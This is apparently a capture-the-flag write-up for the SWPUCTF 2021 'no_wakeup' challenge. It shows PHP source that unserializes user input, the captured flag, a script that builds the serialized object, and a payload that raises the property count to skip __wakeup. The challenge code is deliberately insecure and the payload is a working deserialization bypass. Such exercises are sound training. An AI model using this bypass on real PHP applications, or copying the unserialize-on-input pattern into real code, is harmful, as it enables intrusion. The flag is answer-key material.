[SWPUCTF 2021 新生赛]no_wakeup

 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> NSSCTF{58480194-3db4-490b-a0ed-6c086409f007}

<?php
    class HaHaHa{


    public $admin="admin";
    public $passwd="wllm";
    }

    $a=new HaHaHa();
    echo serialize($a);

?>

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}